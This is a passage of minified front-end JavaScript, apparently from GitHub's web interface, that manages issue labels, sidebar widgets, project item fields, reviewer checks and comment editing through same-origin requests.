ql(e){e.closest(".js-label-error-container").classList.remove("errored"),e.hidden=!0}s(ql,"removeErrorFromField");function ze(e,t,n){const o=t.querySelector(e);!o||(n?Ml(o,n[0]):ql(o))}s(ze,"showOrHideLabelError");function qn(e,t){ze(".js-label-name-error",e,t.name),ze(".js-label-description-error",e,t.description),ze(".js-label-color-error",e,t.color)}s(qn,"showLabelErrors");function De(e){ze(".js-label-name-error",e,null),ze(".js-label-description-error",e,null),ze(".js-label-color-error",e,null)}s(De,"hideLabelErrors");function Rl(e,t,n,o,r){const i=new URL(`${e}${encodeURIComponent(t)}`,window.location.origin),a=new URLSearchParams(i.search.slice(1));return a.append("color",n),o&&a.append("description",o),r&&a.append("id",r),i.search=a.toString(),i.toString()}s(Rl,"labelPreviewUrl");function _l(e){let t=null;const n=e.querySelector(".js-new-label-description-input");return n instanceof HTMLInputElement&&n.value.trim().length>0&&(t=n.value.trim()),t}s(_l,"labelDescriptionFrom");function Pl(e){const t=e.querySelector(".js-new-label-color-input");return t.checkValidity()?t.value.trim().replace(/^#/,""):"ededed"}s(Pl,"labelColorFrom");function Il(e,t){let o=e.querySelector(".js-new-label-name-input").value.trim();return o.length<1&&(o=t.getAttribute("data-default-name")),o}s(Il,"labelNameFrom");async function Ke(e){const t=e.closest(".js-label-preview-container");if(!t)return;const n=e.closest(".js-label-form"),o=n.querySelector(".js-new-label-error"),r=n.getAttribute("data-label-id"),i=t.querySelector(".js-label-preview"),a=Il(n,i);if(!n.checkValidity()&&a!=="Label preview")return;const l=Pl(n),y=_l(n),w=i.getAttribute("data-url-template"),S=Rl(w,a,l,y,r);if(t.hasAttribute("data-last-preview-url")){const I=t.getAttribute("data-last-preview-url");if(S===I)return}let R;try{R=await(0,pe.a)(document,S)}catch(I){const F=await I.response.json();qn(n,F),o&&(o.textContent=F.message,o.hidden=!1);return}o&&(o.textContent="",o.hidden=!0),De(n),i.innerHTML="",i.appendChild(R),t.setAttribute("data-last-preview-url",S)}s(Ke,"updateLabelPreview");function Dl(e){Ke(e.target)}s(Dl,"onLabelFormInputChange");function Fr(e,t){e.closest(".js-details-container").classList.toggle("is-empty",t)}s(Fr,"toggleBlankSlate");function Ur(e){const t=document.querySelector(".js-labels-count"),o=Number(t.textContent)+e;t.textContent=o.toString();const r=document.querySelector(".js-labels-label");return r.textContent=r.getAttribute(o===1?"data-singular-string":"data-plural-string"),o}s(Ur,"updateCount"),(0,j.q6)(".js-label-filter-field",function(e){const t=e.target,o=t.closest("details-menu").querySelector(".js-new-label-name");if(!o)return;const r=t.value.trim();o.textContent=r}),(0,c.on)("filterable:change",".js-filterable-issue-labels",function(e){const t=e.currentTarget.closest("details-menu"),n=t.querySelector(".js-add-label-button");if(!n)return;const r=e.detail.inputField.value.trim().toLowerCase();let i=!1;for(const a of t.querySelectorAll("input[data-label-name]"))if((a.getAttribute("data-label-name")||"").toLowerCase()===r){i=!0;break}n.hidden=r.length===0||i}),(0,j.ZG)(".js-new-label-color-input",function(e){const n=e.closest("form").querySelector(".js-new-label-swatches");n.hidden=!1,e.addEventListener("blur",function(){n.hidden=!0},{once:!0})}),(0,j.q6)(".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(!(n.length<1))if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){t.classList.remove("color-fg-danger");const r=t.closest("form").querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(n))}else t.classList.add("color-fg-danger")}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){const i=t.closest("form").querySelector(".js-new-label-color");tt(i,Ie().hex.rgb(n))}(0,c.f)(t,"change",!1);const o=t.closest("form");De(o)}),(0,j.w4)("keyup",".js-new-label-description-input",function(e){const n=e.target.form;De(n)}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const n=e.target.form;De(n)}),(0,c.on)("click",".js-new-label-color",async function(e){const t=e.currentTarget,n=xn();Mn(t,n),Ke(t)}),(0,c.on)("mousedown",".js-new-label-color-swatch",function(e){const t=e.currentTarget,n=t.getAttribute("data-color");Mn(t,Ie().hex.rgb(n)),Ke(t);const o=t.closest(".js-new-label-swatches");o.hidden=!0}),(0,c.on)("toggle",".js-new-label-modal",function(e){e.target.hasAttribute("open")&&Wr(e.target)},{capture:!0});async function Wr(e){const t=e.querySelector(".js-new-label-name-input");if(!t)return;const n=e.querySelector(".js-new-label-color-input"),o=xn(),r=`#${Ie().rgb.hex(o)}`;n.value=r;const i=e.querySelector(".js-new-label-color");tt(i,o);const l=document.querySelector(".js-new-label-name").textContent;(0,L.Se)(t,l),(0,Ht.OD)(t),Ke(i)}s(Wr,"initLabelModal"),(0,C.AC)(".js-new-label-modal-form",async function(e,t){const n=e.querySelector(".js-new-label-error");let o;try{o=await t.html()}catch(y){const w=y.response.json;n.textContent=w.message,n.hidden=!1}if(!o)return;n.hidden=!0,document.querySelector(".js-new-label-modal").removeAttribute("open");const r=document.querySelector(".js-issue-labels-menu-content"),i=r.querySelector(".js-filterable-issue-labels"),a=o.html.querySelector("input");i.prepend(o.html),a&&a.dispatchEvent(new Event("change",{bubbles:!0}));const l=r.querySelector(".js-label-filter-field");l.value=l.defaultValue,l.focus()}),(0,c.on)("click",".js-edit-label-cancel",function(e){const t=e.target.closest("form");De(t),t.reset();const n=t.querySelector(".js-new-label-color-input"),o=n.value,r=t.querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(o)),(0,Ht.Qc)(t),Ke(n);const i=e.currentTarget.closest(".js-labels-list-item");if(i){i.querySelector(".js-update-label").classList.add("d-none");const l=i.querySelector(".js-label-preview");l&&(l.classList.add("d-none"),i.querySelector(".js-label-link").classList.remove("d-none"));const y=i.querySelectorAll(".js-hide-on-label-edit");for(const w of y)w.hidden=!w.hidden}}),(0,C.AC)(".js-update-label",async function(e,t){let n;try{n=await t.html()}catch(r){const i=r.response.json;qn(e,i);return}De(e),e.closest(".js-labels-list-item").replaceWith(n.html)}),(0,C.AC)(".js-create-label",async function(e,t){let n;try{n=await t.html()}catch(a){const l=a.response.json;qn(e,l);return}e.reset(),De(e),document.querySelector(".js-label-list").prepend(n.html),Ur(1),Fr(e,!1);const o=e.querySelector(".js-new-label-color"),r=xn();Mn(o,r),Ke(e.querySelector(".js-new-label-name-input")),(0,Ht.Qc)(e);const i=e.closest(".js-details-container");i instanceof HTMLElement&&(0,Vt.Qp)(i)}),(0,c.on)("click",".js-details-target-new-label",function(){document.querySelector(".js-create-label").querySelector(".js-new-label-name-input").focus()}),(0,c.on)("click",".js-edit-label",function(e){const t=e.currentTarget.closest(".js-labels-list-item"),n=t.querySelector(".js-update-label");n.classList.remove("d-none"),n.querySelector(".js-new-label-name-input").focus();const r=t.querySelector(".js-label-preview");r&&(r.classList.remove("d-none"),t.querySelector(".js-label-link").classList.add("d-none"));const i=t.querySelectorAll(".js-hide-on-label-edit");for(const a of i)a.hidden=!a.hidden}),(0,C.AC)(".js-delete-label",async function(e,t){const n=e.closest(".js-labels-list-item");n.querySelector(".js-label-delete-spinner").hidden=!1,await t.text();const o=Ur(-1);Fr(e,o===0),n.remove()});const Rt=(0,P.D)(Dl,500);(0,c.on)("suggester:complete",".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-description-input",Rt),(0,j.q6)(".js-new-label-color-input",Rt),(0,j.w4)("keypress",".js-new-label-name-input",function(e){const t=e.target,n=parseInt(t.getAttribute("data-maxlength"));(0,Ee.rq)(t.value)>=n&&e.preventDefault()}),(0,c.on)("click",".js-issues-label-select-menu-item",function(e){!e.altKey&&!e.shiftKey||(e.preventDefault(),e.stopPropagation(),e.altKey&&(window.location.href=e.currentTarget.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=e.currentTarget.getAttribute("data-included-url")))}),(0,j.w4)("keydown",".js-issues-label-select-menu-item",function(e){if(e.key!=="Enter"||!e.altKey&&!e.shiftKey)return;const t=e.currentTarget;e.preventDefault(),e.stopPropagation(),t instanceof HTMLAnchorElement&&(e.altKey&&(window.location.href=t.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=t.getAttribute("data-included-url")))}),(0,c.on)("click",".js-open-label-creation-modal",async function(e){e.stopImmediatePropagation();const t=await(0,Te.W)({content:document.querySelector(".js-label-creation-template").content.cloneNode(!0),detailsClass:"js-new-label-modal"});Wr(t)},{capture:!0}),(0,c.on)("change",".js-thread-notification-setting",Rn),(0,c.on)("change",".js-custom-thread-notification-option",Rn),(0,c.on)("reset",".js-custom-thread-settings-form",Rn);function Rn(){const e=document.querySelector(".js-reveal-custom-thread-settings").checked,t=!document.querySelector(".js-custom-thread-notification-option:checked"),n=document.querySelector(".js-custom-thread-settings"),o=document.querySelector("[data-custom-option-required-text]"),r=e&&t?o.getAttribute("data-custom-option-required-text"):"";o.setCustomValidity(r),n.hidden=!e}s(Rn,"toggleEventSettings");var Hl=Object.defineProperty,Ol=Object.getOwnPropertyDescriptor,zr=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Ol(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Hl(t,n,r),r},"sidebar_widget_decorateClass");let _n=s(class extends HTMLElement{get activeClass(){return this.getAttribute("active-class")||"collapsible-sidebar-widget-active"}get loadingClass(){return this.getAttribute("loading-class")||"collapsible-sidebar-widget-loading"}get url(){return this.getAttribute("url")||""}get isOpen(){return this.hasAttribute("open")}set isOpen(e){e?this.setAttribute("open",""):this.removeAttribute("open")}onKeyDown(e){if(e.code==="Enter"||e.code==="Space")return e.preventDefault(),this.load()}onMouseDown(e){return e.preventDefault(),this.load()}load(){return this.pendingRequest?this.pendingRequest.abort():this.collapsible.hasAttribute("loaded")?this.isOpen?this.setClose():this.setOpen():(this.setLoading(),this.updateCollapsible())}setLoading(){this.classList.add(this.loadingClass),this.classList.remove(this.activeClass)}setOpen(){this.classList.add(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!0}setClose(){this.classList.remove(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!1}handleAbort(){this.pendingRequest=null,this.setClose()}async updateCollapsible(){var e;try{this.pendingRequest=new AbortController,this.pendingRequest.signal.addEventListener("abort",()=>this.handleAbort());const t=await fetch(this.url,{signal:(e=this.pendingRequest)==null?void 0:e.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(this.pendingRequest=null,!t.ok)return this.setClose();const n=await t.text();this.collapsible.innerHTML=n,this.collapsible.setAttribute("loaded",""),this.setOpen()}catch{return this.pendingRequest=null,this.setClose()}}},"CollapsibleSidebarWidgetElement");zr([J.fA],_n.prototype,"collapsible",2),_n=zr([J.Ih],_n);var Nl=Object.defineProperty,Bl=Object.getOwnPropertyDescriptor,ve=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Bl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Nl(t,n,r),r},"sidebar_memex_input_decorateClass");let ye=s(class extends HTMLElement{constructor(){super(...arguments);this.url="",this.csrf="",this.instrument="",this.column=1}get isDisabled(){var e;return(e=this.read)==null?void 0:e.hasAttribute("disabled")}set hasErrored(e){e?this.setAttribute("errored",""):this.removeAttribute("errored")}set disabled(e){e?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get hasExpanded(){return this.read.getAttribute("aria-expanded")==="true"}connectedCallback(){var e,t;this.disabled=(t=(e=this.read)==null?void 0:e.disabled)!=null?t:!0,this.querySelector("details")!==null&&this.classList.toggle("no-pointer")}handleDetailsSelect(e){var t;const n=e,o=e.target,r=(t=n.detail)==null?void 0:t.relatedTarget,i=o.closest("details"),a=i==null?void 0:i.querySelector("[data-menu-button]");if(r.getAttribute("aria-checked")==="true"){r.setAttribute("aria-checked","false"),e.preventDefault();for(const l of this.inputs)if(r.contains(l)){this.updateCell(l.name,""),(a==null?void 0:a.innerHTML)&&(a.innerHTML=l.placeholder);break}i==null||i.removeAttribute("open")}}handleDetailsSelected(e){var t;const o=(t=e.detail)==null?void 0:t.relatedTarget;for(const r of this.inputs)if(o.contains(r)){this.updateCell(r.name,r.value);break}}mouseDownFocus(e){!this.isDisabled||this.onFocus(e)}keyDownFocus(e){(e.code==="Enter"||e.code==="Space")&&this.read!==document.activeElement&&this.onFocus(e)}onChange(e){var t,n;e.target.getAttribute("type")!=="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value)}onFocus(e){e.preventDefault(),this.disabled=!1,this.read.disabled=!1,this.read.focus()}onBlur(e){var t,n;if(this.hasExpanded){e.preventDefault();return}e.target.getAttribute("type")==="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value),this.read.disabled=!0,this.disabled=!0}onKeyDown(e){if(e.code==="Enter"||e.code==="Tab"){if(e.preventDefault(),e.stopPropagation(),this.hasExpanded)return;this.read.blur()}}async updateCell(e="",t=""){const n=new FormData;n.set(e,t),n.set("ui",this.instrument);for(const r of this.parameters)n.set(r.name,r.value);const o=Intl.DateTimeFormat("en-US",{month:"short",day:"numeric",year:"numeric",timeZone:"UTC"});try{if(this.write){const S=this.read.value,R=this.read.type==="date"&&S?o.format(Date.parse(S)):S;this.write.textContent=S?R:this.read.placeholder}const r=await fetch(this.url,{method:"PUT",body:n,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest","Scoped-CSRF-Token":`${this.csrf}`}});if(!r.ok)throw new Error("connection error");if(!this.write)return;const l=(await r.json()).memexProjectItem.memexProjectColumnValues.find(S=>S.memexProjectColumnId===Number(this.column)).value,y=this.read.type==="date"?Date.parse(l.value):l.html,w=this.read.type==="date"&&y?o.format(y):y;this.write.innerHTML=t?w:this.read.placeholder}catch{this.hasErrored=!0}}},"SidebarMemexInputElement");ve([J.Lj],ye.prototype,"url",2),ve([J.Lj],ye.prototype,"csrf",2),ve([J.Lj],ye.prototype,"instrument",2),ve([J.Lj],ye.prototype,"column",2),ve([J.GO],ye.prototype,"inputs",2),ve([J.fA],ye.prototype,"read",2),ve([J.fA],ye.prototype,"write",2),ve([J.GO],ye.prototype,"parameters",2),ye=ve([J.Ih],ye);function nt(e,t=!1){(t||!zl(e))&&(e instanceof HTMLFormElement?(0,L.Bt)(e):Pt(e))}s(nt,"submitForm");function Kr(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form")||t.querySelector(".js-issue-sidebar-form");nt(n)}s(Kr,"submitOnMenuClose"),(0,c.on)("details-menu-selected",".js-discussion-sidebar-menu",function(e){const t=e.detail.relatedTarget,n=e.currentTarget,o=t.closest(".js-issue-sidebar-form"),r=n.hasAttribute("data-multiple");if(t.hasAttribute("data-clear-assignees")){const i=n.querySelectorAll('input[name="issue[user_assignee_ids][]"]:checked');for(const a of i)a.disabled=!1,a.checked=!1;nt(o)}else r?n.closest("details").addEventListener("toggle",Kr,{once:!0}):nt(o)},{capture:!0});function $l(e,t){e.replaceWith((0,q.r)(document,t))}s($l,"updateSidebar");function Vr(e){const t=document.querySelector(`[data-menu-trigger="${e}"]`);t==null||t.focus()}s(Vr,"returnFocusToTrigger"),(0,C.AC)(".js-issue-sidebar-form",async function(e,t){var n;const o=await t.html(),r=e.closest(".js-discussion-sidebar-item"),i=(n=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:n.getAttribute("id");r.replaceWith(o.html),i&&Vr(i)}),(0,c.on)("click","div.js-issue-sidebar-form .js-suggested-reviewer",function(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form");Pt(n,"post",{name:t.name,value:t.value}),e.preventDefault()}),(0,c.on)("click","div.js-issue-sidebar-form .js-issue-assign-self",function(e){var t;const n=e.currentTarget,o=n.closest(".js-issue-sidebar-form");Pt(o,"post",{name:n.name,value:n.value}),n.remove(),(t=document.querySelector("form#new_issue .is-submit-button-value"))==null||t.remove(),e.preventDefault()}),(0,c.on)("click",".js-issue-unassign-self",function(e){const t=e.currentTarget.closest(".js-issue-sidebar-form");Pt(t,"delete"),e.preventDefault()}),(0,C.AC)(".js-pages-preview-toggle-form",async function(e,t){const n=await t.json();e.querySelector("button.btn").textContent=n.json.new_button_value});function Fl(e,t){const n=e.getAttribute("data-cache-name");return`${t}:sidebar:${n}`}s(Fl,"getCacheKey");function Ul(e,t,n){const o=e.getAttribute("data-cache-name");if(!o)return;const r=[];for(const[a,l]of t.entries())a.indexOf(o)!==-1&&r.push([a,l]);const i=r.filter(a=>a[1]!=="");i.length>0?sessionStorage.setItem(n,JSON.stringify(i)):sessionStorage.removeItem(n)}s(Ul,"cacheValues");const _t=new Set;function Xr(){_t.clear()}s(Xr,"clearHasFired");async function Wl(e,t){const n=e.getAttribute("data-cache-name"),o=sessionStorage.getItem(t);if(!n||!o||_t.has(n))return;_t.add(n);const r=JSON.parse(o),i=[];for(const[a,l]of r){if(Object.prototype.toString.call(l)!=="[object String]")continue;const y=document.createElement("input");y.type="hidden",y.value=l,y.name=a,e.appendChild(y),i.push(y)}try{await Zr(e);for(const a of i)a.remove()}catch{_t.delete(n)}}s(Wl,"restoreCachedValues");let Gr=!1;function Pn(e,t){if(Gr)return;const n=In(e);Ul(e,n,t),Xr()}s(Pn,"cacheValuesOnHide"),(0,u.N7)("[data-cacher]",{add(e){const t=Fl(e,(0,xe.e)());Wl(e,t),window.addEventListener("pagehide",()=>Pn(e,t)),window.addEventListener("pjax:beforeReplace",()=>Pn(e,t)),window.addEventListener("turbo:before-visit",()=>Pn(e,t)),window.addEventListener("submit",n=>{n.defaultPrevented||(Gr=!0,setTimeout(()=>{for(const o of Object.keys(sessionStorage))o.indexOf(t)!==-1&&(sessionStorage.removeItem(o),Xr())},0))},{capture:!0})}});async function Pt(e,t="post",n){var o;await Zr(e,t,n);const r=e.closest(".js-discussion-sidebar-item"),i=(o=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:o.getAttribute("id");i&&Vr(i)}s(Pt,"previewSubmit");async function Zr(e,t="post",n){const o=In(e);n&&o.append(n.name,n.value);const r=e.getAttribute("data-url");if(!r)return;const i=e.querySelector(".js-data-url-csrf"),a=await fetch(r,{method:t,body:t==="delete"?"":o,mode:"same-origin",headers:{"Scoped-CSRF-Token":i.value,"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;const l=await a.text();$l(e.closest(".js-discussion-sidebar-item"),l)}s(Zr,"requestPreview");function zl(e){const t=e.getAttribute("data-reviewers-team-size-check-url");if(!t)return!1;const n=[...document.querySelectorAll(".js-reviewer-team")].map(l=>l.getAttribute("data-id")),o=e instanceof HTMLFormElement?new FormData(e):In(e),i=new URLSearchParams(o).getAll("reviewer_team_ids[]").filter(l=>!n.includes(l));if(i.length===0)return!1;const a=new URLSearchParams(i.map(l=>["reviewer_team_ids[]",l]));return Kl(e,`${t}?${a}`),!0}s(zl,"reviewerTeamsCheckRequired");async function Kl(e,t){const n=await fetch(t);if(!n.ok)return;const o=await n.text();if(o.match(/[^\w-]js-large-team[^\w-]/))Vl(e,o);else{nt(e,!0);return}}s(Kl,"triggerTeamReviewerCheck");function Vl(e,t){const n=e.querySelector(".js-large-teams-check-warning-container");for(;n.firstChild;)n.removeChild(n.firstChild);n.appendChild((0,q.r)(document,t));const o=n.querySelector("details");function r(i){if(i.target instanceof Element){if(o.open=!1,!i.target.classList.contains("js-large-teams-confirm-button")){const a=e.querySelectorAll("input[name='reviewer_team_ids[]']");for(const l of a)n.querySelector(`.js-large-team[data-id='${l.value}']`)&&(l.checked=!1)}nt(e,!0),i.preventDefault()}}s(r,"dialogAction"),n.querySelector(".js-large-teams-confirm-button").addEventListener("click",r,{once:!0}),n.querySelector(".js-large-teams-cancel-button").addEventListener("click",r,{once:!0}),o.addEventListener("details-dialog-close",r,{once:!0}),o.open=!0}s(Vl,"showTeamReviewerConfirmationDialog"),(0,c.on)("click","div.js-project-column-menu-container .js-project-column-menu-item button",async function(e){const t=e.currentTarget;Xl(t);const n=t.getAttribute("data-url"),o=t.parentElement.querySelector(".js-data-url-csrf"),r=t.getAttribute("data-card-id"),i=new FormData;if(i.append("card_id",r),i.append("use_automation_prioritization","true"),e.preventDefault(),!(await fetch(n,{method:"PUT",mode:"same-origin",body:i,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)return;const l=document.activeElement,y=t.closest(".js-project-column-menu-dropdown");if(l&&y.contains(l))try{l.blur()}catch{}});function Xl(e){const n=e.closest(".js-project-column-menu-dropdown").querySelector(".js-project-column-menu-summary"),o=e.getAttribute("data-column-name");n.textContent=o}s(Xl,"updateProjectColumnMenuSummary"),(0,c.on)("click",".js-prompt-dismiss",function(e){e.currentTarget.closest(".js-prompt").remove()});function In(e){const t=e.closest("form");if(!t)return new FormData;const o=new FormData(t).entries(),r=new FormData;for(const[i,a]of o)t.contains(Gl(t,i,a.toString()))&&r.append(i,a);return r}s(In,"scopedFormData");function Gl(e,t,n){for(const o of e.elements)if((o instanceof HTMLInputElement||o instanceof HTMLTextAreaElement||o instanceof HTMLButtonElement)&&o.name===t&&o.value===n)return o;return null}s(Gl,"findParam"),(0,c.on)("click",".js-convert-to-draft",function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.parentElement.querySelector(".js-data-url-csrf");fetch(t,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":n.value,"X-Requested-With":"XMLHttpRequest"}})}),(0,c.on)("click","div.js-restore-item",async function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.getAttribute("data-column"),o=e.currentTarget.querySelector(".js-data-url-csrf"),r=new FormData;if(r.set("memexProjectItemIds[]",n),!(await fetch(t,{method:"PUT",mode:"same-origin",body:r,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)throw new Error("connection error");Kr(e)})},22485:($,D,f)=>{"use strict";f.d(D,{N:()=>C,x:()=>_});var T=f(7739);let c=null;(async function(){await T.x,x()})();function C(g){_(u(g))}s(C,"announceFromElement");function _(g){!c||(c.textContent="",c.textContent=g)}s(_,"announce");function x(){c=document.createElement("div"),c.setAttribute("aria-live","polite"),c.classList.add("sr-only"),document.body.append(c)}s(x,"createNoticeContainer");function u(g){return(g.getAttribute("aria-label")||g.innerText||"").trim()}s(u,"getTextContent")},51989:($,D,f)=>{"use strict";f.d(D,{s:()=>h});var T=f(90420),c=f(12981);class C{constructor(b=50,v=30){this.elements=[],this.timer=null,this.callbacks=[],this.timeout=b,this.limit=v,this.index=0}push(b){const v=`item-${this.index++}`;return this.timer&&(window.clearTimeout(this.timer),this.timer=null),this.elements.length>=this.limit&&this.flush(),this.timer=window.setTimeout(()=>{this.timer=null,this.flush()},this.timeout),this.elements.push([b,v]),v}onFlush(b){this.callbacks.push(b)}async flush(){const b=this.elements.splice(0,this.limit);b.length!==0&&await Promise.all(this.callbacks.map(v=>v(b)))}}s(C,"AutoFlushingQueue");class _{constructor(b,v){this.url=b,this.callbacks=new Map,this.autoFlushingQueue=new C,this.autoFlushingQueue.onFlush(async L=>{this.load(L)}),this.validate=v}loadInBatch(b){const v=this.autoFlushingQueue.push(b);return new Promise(L=>this.callbacks.set(v,L))}async load(b){const v=new Map;for(const[E,A]of b)v.set(A,E);const L=new FormData;L.set("_method","GET");for(const[E,A]of v.entries())for(const k of A.inputs)L.append(`items[${E}][${k.name}]`,k.value);const q=await fetch(this.url,{method:"POST",body:L,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(q.ok){const E=await q.json();if(!E||typeof E!="object"||Array.isArray(E))throw new Error("Malformed batch response");for(const A in E){const k=this.callbacks.get(A);if(k){const j=E[A];this.validate(j),k(j)}}}}}s(_,"BatchLoader");var x=Object.defineProperty,u=Object.getOwnPropertyDescriptor,g=s((p,b,v,L)=>{for(var q=L>1?void 0:L?u(b,v):b,E=p.length-1,A;E>=0;E--)(A=p[E])&&(q=(L?A(b,v,q):A(q))||q);return L&&q&&x(b,v,q),q},"__decorateClass");class h extends HTMLElement{async connectedCallback(){const b=await this.batchLoader.loadInBatch(this);this.update(b)}get batchLoader(){const b=this.getAttribute("data-url");if(!b)throw new Error(`${this.tagName} element requires a data-url attribute`);let v=this.batchLoaders.get(b);return v||(v=new _(b,L=>this.validate(L)),this.batchLoaders.set(b,v)),v}}s(h,"BaseBatchDeferredContentElement");const d=new Map;let m=s(class extends h{constructor(){super(...arguments);this.batchLoaders=d}validate(p){if(typeof p!="string")throw new Error("Batch deferred content was not a string")}update(p){const b=(0,c.r)(document,p);this.replaceWith(b)}},"BatchDeferredContentElement");g([T.GO],m.prototype,"inputs",2),m=g([T.Ih],m)},41415:()=>{let $,D=!1;function f(){$=document.activeElement,document.body&&document.body.classList.toggle("intent-mouse",D)}s(f,"setClass"),document.addEventListener("mousedown",function(){D=!0,$===document.activeElement&&f()},{capture:!0}),document.addEventListener("keydown",function(){D=!1},{capture:!0}),document.addEventListener("focusin",f,{capture:!0})},90458:($,D,f)=>{"use strict";f.d(D,{OD:()=>u,Qc:()=>g,nz:()=>x});var T=f(40764),c=f(45075);function C(h,d,m){const p=m.closest(".js-characters-remaining-container");if(!p)return;const b=p.querySelector(".js-characters-remaining"),v=String(b.getAttribute("data-suffix")),L=(0,T.rq)(h),q=d-L;q<=20?(b.textContent=`${q} ${v}`,b.classList.toggle("color-fg-danger",q<=5),b.hidden=!1):b.hidden=!0}s(C,"showRemainingCharacterCount");function _(h){return h.hasAttribute("data-maxlength")?parseInt(h.getAttribute("data-maxlength")||""):h.maxLength}s(_,"getFieldLimit");function x(h){const d=_(h),m=(0,T.rq)(h.value);return d-m<0}s(x,"hasExceededCharacterLimit");function u(h){const d=_(h);C(h.value,d,h)}s(u,"updateInputRemainingCharacters");function g(h){const d=h.querySelectorAll(".js-characters-remaining-container");for(const m of d){const p=m.querySelector(".js-characters-remaining-field");u(p)}}s(g,"resetCharactersRemainingCounts"),(0,c.ZG)(".js-characters-remaining-field",function(h){function d(){(h instanceof HTMLInputElement||h instanceof HTMLTextAreaElement)&&u(h)}s(d,"onInput"),d(),h.addEventListener("input",d),h.addEventListener("blur",()=>{h.removeEventListener("input",d)},{once:!0})})},2641:($,D,f)=>{"use strict";f.d(D,{z:()=>v});var T=f(59753),c=f(12737),C=f(29719),_=f(6741),x=f(55741),u=f(64463),g=f(65935),h=f(78965);let d=[];(0,u.N7)(".js-comment-header-actions-deferred-include-fragment",{subscribe:E=>(0,_.RB)(E,"loadstart",()=>{const A=E.closest(".js-comment");b(A)},{capture:!1,once:!0})}),(0,u.N7)(".js-comment .contains-task-list",{add:E=>{const A=E.closest(".js-comment");b(A)}}),(0,T.on)("click",".js-comment-edit-button",function(E){const A=E.currentTarget.closest(".js-comment");A.classList.add("is-comment-editing");const k=p(A);k?k.addEventListener("include-fragment-replaced",()=>m(A),{once:!0}):m(A);const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")});function m(E){E.querySelector(".js-write-tab").click();const A=E.querySelector(".js-comment-field");A.focus(),(0,T.f)(A,"change")}s(m,"focusEditForm");function p(E){return E.querySelector(".js-comment-edit-form-deferred-include-fragment")}s(p,"findEditFormDeferredIncludeFragment");function b(E){var A;(A=p(E))==null||A.setAttribute("loading","eager")}s(b,"loadEditFormDeferredIncludeFragment"),(0,T.on)("click",".js-comment-hide-button",function(E){const A=E.currentTarget.closest(".js-comment");q(A,!1);const k=A.querySelector(".js-minimize-comment");k&&k.classList.remove("d-none");const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")}),(0,T.on)("click",".js-comment-hide-minimize-form",function(E){E.currentTarget.closest(".js-minimize-comment").classList.add("d-none")});function v(E){const A=E.currentTarget.closest("form"),k=E.currentTarget.getAttribute("data-confirm-text");if((0,x.T)(A)&&!confirm(k))return!1;for(const P of A.querySelectorAll("input, textarea")){const M=P;M.value=M.defaultValue,M.classList.contains("session-resumable-canceled")&&(M.classList.add("js-session-resumable"),M.classList.remove("session-resumable-canceled"))}const j=E.currentTarget.closest(".js-comment");return j&&j.classList.remove("is-comment-editing"),!0}s(v,"handleCommentCancelButtonClick"),(0,T.on)("click",".js-comment-cancel-button",v),(0,T.on)("click",".js-cancel-issue-edit",function(E){const A=E.currentTarget.closest(".js-details-container");A.querySelector(".js-comment-form-error").hidden=!0}),(0,g.AC)(".js-comment-delete, .js-comment .js-comment-update, .js-issue-update, .js-comment-minimize, .js-comment-unminimize",function(E,A,k){const j=E.closest(".js-comment");j.classList.add("is-comment-loading");const P=j.getAttribute("data-body-version");P&&k.headers.set("X-Body-Version",P)}),(0,g.AC)(".js-comment .js-comment-update",async function(E,A){let k;const j=E.closest(".js-comment"),P=j.querySelector(".js-comment-update-error"),M=j.querySelector(".js-comment-body-error");P instanceof HTMLElement&&(P.hidden=!0),M instanceof HTMLElement&&(M.hidden=!0),d=[];try{k=await A.json()}catch(W){if(W.response.status===422){const U=JSON.parse(W.response.text);if(U.errors){P instanceof HTMLElement&&(P.textContent=`There was an error posting your comment: ${U.errors.join(", ")}`,P.hidden=!1);return}}else throw W}if(!k)return;const O=k.json;O.errors&&O.errors.length>0&&(d=O.errors,L(M));const V=j.querySelector(".js-comment-body");V&&O.body&&(V.innerHTML=O.body),j.setAttribute("data-body-version",O.newBodyVersion);const H=j.querySelector(".js-body-version");H instanceof HTMLInputElement&&(H.value=O.newBodyVersion);const N=j.querySelector(".js-discussion-poll");N&&O.poll&&(N.innerHTML=O.poll);for(const W of j.querySelectorAll("input, textarea")){const U=W;U.defaultValue=U.value}j.classList.remove("is-comment-stale","is-comment-editing");const 